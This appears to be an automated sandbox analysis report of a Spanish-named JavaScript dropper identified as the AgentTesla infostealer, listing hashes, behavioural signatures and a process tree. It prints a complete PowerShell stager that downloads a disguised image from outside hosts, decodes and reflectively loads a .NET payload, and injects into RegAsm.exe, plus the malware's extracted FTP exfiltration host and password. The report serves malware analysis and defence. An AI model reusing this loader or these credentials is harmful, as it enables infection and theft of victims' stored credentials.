Analysis
- max time kernel
91s - max time network
143s - platform
windows10-2004_x64 - resource
win10v2004-20240221-en - resource tags
arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system - submitted
23/02/2024, 16:23
Static task
static1
Behavioral task
behavioral1
Sample
comprobante_swift89534657687.js
Resource
win7-20240215-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
comprobante_swift89534657687.js
Resource
win10v2004-20240221-en
11 signatures
150 seconds
General
- Target comprobante_swift89534657687.js
- Size 1KB
- Sample240223-tvs3nsda98
- SHA256 41f76926477c7f8759900567ced4e5e1f9057e40d2a151badc873d23f372997e
- MD5 63f6f06c380e5d1ce7325b504b5a27fc
- SHA1 0a64b4f2424ada6c4b8efe421f78ab43f8372bf0
- SHA512 f754559e8d797ade2f7c981a54346007978c27e7333349110fc3992911ac10b4654df1c42dcff13496e5094cb9eb51ede53535f3f6d4eab739ce130ed9fbfea3
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Family
-
agenttesla
Credentials
-
Protocol
ftp
-
Host
ftp://ftp.elquijotebanquetes.com
-
Port
21
-
Username
-
Password
4r@d15PS!-!h
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Blocklisted process makes network request 5 IoCs
flow pid Process 4 1368 wscript.exe 6 1368 wscript.exe 9 1368 wscript.exe 31 4396 powershell.exe 48 4396 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1392040655-2056082574-619088944-1000\Control Panel\International\Geo\Nation wscript.exe - Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 50 ip-api.com - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4396 set thread context of 2728 4396 powershell.exe 96 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4396 powershell.exe 4396 powershell.exe 2728 RegAsm.exe 2728 RegAsm.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4396 powershell.exe Token: SeDebugPrivilege 2728 RegAsm.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 1368 wrote to memory of 4396 1368 wscript.exe 89 PID 1368 wrote to memory of 4396 1368 wscript.exe 89 PID 4396 wrote to memory of 2728 4396 powershell.exe 96 PID 4396 wrote to memory of 2728 4396 powershell.exe 96 PID 4396 wrote to memory of 2728 4396 powershell.exe 96 PID 4396 wrote to memory of 2728 4396 powershell.exe 96 PID 4396 wrote to memory of 2728 4396 powershell.exe 96 PID 4396 wrote to memory of 2728 4396 powershell.exe 96 PID 4396 wrote to memory of 2728 4396 powershell.exe 96 PID 4396 wrote to memory of 2728 4396 powershell.exe 96
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\comprobante_swift89534657687.js1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1368 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://uploaddeimagens.com.br/images/004/731/991/original/new_image.jpg?1707144482', 'http://45.74.19.84/xampp/bkp/js_bkp.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.diord46esab/19.412.542.271//:ptth' , 'desativado' , 'C:\ProgramData\' , 'Name'))}}2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4396 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2728
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wtxye0cu.bz2.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512